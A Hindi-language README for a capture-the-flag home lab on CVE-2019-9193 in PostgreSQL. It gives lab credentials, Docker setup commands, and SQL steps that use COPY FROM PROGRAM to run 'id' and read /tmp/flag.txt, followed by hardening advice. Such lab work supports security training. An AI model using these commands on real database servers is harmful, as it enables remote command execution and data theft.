CVE-2019-9193-Home-Lab

CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

यह लैब CVE-2019-9193 का अनुकरण करती है, जो PostgreSQL 9.3–11.2 में एक कमजोरी है, जो अनुमति देती है:

COPY ... FROM PROGRAM '<command>'

जब सुपरयूज़र या pg_execute_server_program रोल वाला उपयोगकर्ता इसे चलाता है तो OS कमांड निष्पादित करने की अनुमति मिलती है।

आपका कार्य इस सुविधा का शोषण करके निम्न फ़ाइल को पढ़ना है:

/tmp/flag.txt

उद्देश्य

1. PostgreSQL से कनेक्ट करें:
   • User: postgres
   • Password: sentinel7
   • Host port: 5433
2. COPY FROM PROGRAM का उपयोग करें:
   • OS कमांड निष्पादित करने के लिए
   • फ़्लैग प्राप्त करने के लिए

आरंभ करना

docker compose build
docker compose up -d

इसके माध्यम से कनेक्ट करें:

psql -U postgres -h 127.0.0.1 -p 5433

शोषण

1) तालिका बनाएं

CREATE TABLE cmd_exec(cmd_output text);

2) RCE परीक्षण करें

COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) फ़्लैग पढ़ें

TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

सुरक्षा नोट्स

• PostgreSQL सुपरयूज़र का उपयोग करके एप्लिकेशन कभी न चलाएं
• अनावश्यक रूप से pg_execute_server_program प्रदान न करें
• COPY PROGRAM को अक्षम या प्रतिबंधित करें
• एप्लिकेशन को SQL इंजेक्शन से सुरक्षित रखें